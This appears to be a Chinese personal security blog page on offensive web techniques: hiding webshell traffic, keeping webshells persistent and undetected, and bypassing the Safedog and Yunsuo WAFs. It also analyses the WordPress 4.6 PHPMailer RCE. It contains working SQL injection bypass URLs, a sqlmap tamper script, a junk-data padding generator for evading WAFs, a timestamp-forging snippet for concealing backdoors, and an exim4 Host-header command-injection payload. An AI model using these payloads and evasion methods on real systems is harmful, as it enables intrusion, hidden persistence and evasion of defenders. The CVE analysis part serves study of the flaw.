ZuAfsGwagtOnECxMrXHvbIo+774dO+FM2F2BTZol6y/q+XI2VEPafEFkd7jiHQw=|UR1Ao61+RsFk9IoNehu7QtaMjBdovrIt2mn TqdXageeDmaK

![](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314124155221.png)

加上之前的垃圾数据填充模块,可以实现密文的进一步隐藏,在一堆垃圾数据里面找到这段payload,真的是流量分析的梦魇。

![image-20200314124943576](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314124943576.png)

不过我也分析了一下,只有这段payload有url编码,且payload相对过长,加上每次流量的连接密码变量为相同的,且响应包为明文,所以想要分析还是有办法的。

但是,我们还可以在垃圾数据填充上做手脚,修改代码以达到我想要的目的,加长单条垃圾数据到payload水平,垃圾数据池中加入会被url编码的符号。而连接密码暂无特别好的办法,不过我已经非常满意了。

然后我又分析了冰歇的动态加密,流量无法解密,连接密码只用于获取随机密钥,建立连接后流量就全是payload了,响应包也全为密文,看上去确实无懈可击,但是问题在于它不开源,很多特征没办法修改,以至于现在流量已经能被部分waf检测到了。

不过,动态加密于蚁剑也是可以实现的,还未尝试。

img

0x02 Webshell持久化

关于Webshell持久化,其实并不像远控持久化那样,可以使用各种系统层面的操作。

如果都能远控持久化了,webshell也就没必要了,难道说我还要写个用于生成webshell自启动吗,感觉有点舍本逐末了,私以为webshell相对远控的好处在于安静,不用就不会有动静。

所以webshell持久化主要在于隐藏shell文件。

  • 修改配置文件如php.ini,.htaccess,.user.ini
  • 不死马。
  • 插马到正常文件,或修改正常文件使其出现后门,例如404页面.
  • 数据流隐写
  • 内存马

但是实际上并没有那么好用,尤其是修改配置文件,于是我就去问了问做应急响应的表哥。

不免杀,有隐藏属性的文件,数据流隐写,配置文件,会被重点关注。

如果第一步没找到,就从文件创建时间来排查,和日志进行比对查找。

终极手段,文件完整校验,可以与cms初始文件比对,或者说有单独文件服务器,可以做hash值比对。

不然就很难发现。

所以最方便的还是 无特征免杀马+时间修改为正常文件时间+正常的四五级目录+正常文件名

1
2
3
4
//将demo.php的最后修改时间改为2020年1月26日14点5分10秒
<?php
touch("demo.php",mktime(14,5,10,1,26,2020));
?>

0x03 Sql_bypass

waf的检测形式,在于对语句的检测,关键点在于对关键语句的加花。

单一的语句不杀,连在一起才杀,注释符是个好东西。

Safedog

1
2
3
4
内联
http://192.168.222.134/demo.php?id=1/*!00000union*//*!00000all*//*!00000select*/1,2 -- +
注释换行
http://192.168.222.134/demo.php?id=1'order%23%0aby 3 -- +

Tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding=UTF-8 

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog 4")
def tamper(payload, **kwargs):

if payload:
payload=payload.replace(" ","/*!*/")
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("AND","/*!*/AND/*!*/")
payload=payload.replace("UNION","union/*!23333cas*/")
payload=payload.replace("#","/*!*/#")
payload=payload.replace("USER()","USER/*!()*/")
payload=payload.replace("DATABASE()","DATABASE/*!()*/")
payload=payload.replace("--","/*!*/--")
payload=payload.replace("SELECT","/*!23333cas*/select")
payload=payload.replace("FROM","/*!23333c*//*!23333c*/from")

return payload

### sqlmap -u http://192.168.222.128/demo.php?id=1 --identify-waf --random-agent -v 3 --tamper=safedog --dbs

云锁

1
2
3
注释
http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select /*from*/),2,1)),'0')--
http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +

垃圾数据填充法

WAF遇到大量数据时会直接放行,也存在于sql。

云锁需要30k.

阿里云需要200+的键值对。

经过本地测试成功Bypass云锁,不过云锁还是会报警,且垃圾数据只能用于POST注入。

垃圾数据可由IDLE生成,或者由脚本生成,需要生成多少直接修改脚本内容即。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
import random,string
from urllib import parse
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
str_list = [random.choice(string.ascii_letters) for i in range(length)]
random_str = ''.join(str_list)
return random_str

def main():
data={}
for i in range(num_min,num_max):
data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
print('&'+parse.urlencode(data)+'&')

main()

WordPress_4.6_RCE

发表于 2020-02-24 | 分类于 漏洞分析

WordPress<=4.6_RCE分析

0x01 概述

CVE-2016-10033

主要原因wordpress使用phpmailer组件进行重置密码邮件的发送(所以漏洞存在于所有使用phpmailer组件的cms),漏洞其实是存在于phpmailer,加上wordpress的过滤不严。

漏洞文件:wordpress/wp-includes/class.phpmailer.php and wordpress/wp-includes/pluggable.php

0x02 代码分析

1
2
3
4
5
6
7
8
9
10
11
12
/**来自wordpress/wp-includes/class.phpmailer.php
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';

/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';

既然知道是因为发送邮件引发的rce,那么我们就直接看邮件部分,由最后一句可知,利用系统命令发送邮件,我直接就想到了命令注入。那我们来看参数的获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	 //这一段来自wordpress/wp-includes/pluggable.php
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}

$from_email = 'wordpress@' . $sitename;
}


/**
* Filters the name to associate with the "from" email address.
*
* @since 2.3.0
*
* @param string $from_name Name associated with the "from" email address.
*/
$from_name = apply_filters( 'wp_mail_from_name', $from_name );


$phpmailer->setFrom( $from_email, $from_name );

当调用WordPress wp_mail()函数发送电子邮件时(例如,在用户注册,忘记密码等情况下),WordPress会根据SERVER_NAME服务器标头设置电子邮件域,即$sitename=SERVER_NAME。
发件人地址的格式如下:$ from_email =’wordpress@’.$ sitename;
然后将其简单检测并传递给易受攻击的PHPMailer的setFrom()函数。

然后再看看SERVER_NAME这个参数哪里来的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**来自wordpress/wp-includes/class.phpmailer.php
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}

serverHostname函数用于获取SERVER_NAME(主机名),就是请求报文中的HOST,可以看出除了几个判断,明显没有做任何的过滤,所以这里存在命令注入是必然的,但是另一个问题出现了,参数是从HOST头获取的这里不能使用特殊字符,所以直接的命令执行行不通。

0x03 Poc实现

所以既然存在命令注入,如何利用就是我们需要考虑的问题了。既然最后是利用系统命令执行,那我们就来看看,能怎么操盘。sendmail 提供了-O和-X参数,-X参数用于写入日志文件, 可以使用-O QueueDirectory=/tmp/ -X /tmp/test.php命令组合,它会将发送的邮件保存到/tmp/test.php中.但是实际上还需要解决一些问题,且sendmail比我们想象的更加强大.

  • wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到sendmail命令中。并且,添加括号引入向sendmail中注入参数的方法已经行不通了.
  • 比如我们想要调用/bin/touch的时候也会出问题,因为host字段中如果出现/,服务器会拒绝我们的请求。

但是在ubuntu/debain系统中,已经使用exim4替代了sendmail的功能,现在sendmail文件就是一个链向exim4的链接文件,而exim4又多了-be参数用于读取部分变量的数据,exim4还提供函数来执行一些命令,如字符串截取函数$substr、系统命令调用函数$run。说到字符串截取,应该想到了,曾经使用字符串截取实现无空格的命令执行.说到系统命令调用,就应该命令执行了。字符串截取+命令执行=计划通

于是

  • ${substr{0}{1}{$spool_directory}} =/
  • ${substr{10}{1}{$tod_log}}=space
  • target(any -froot@localhost -be ${command}} null) //payload

tip:command不能出现特殊字符。

avatar

123
scareing

scareing

29 日志
18 分类
20 标签
RSS
GitHub E-Mail
0%
© 2022 scareing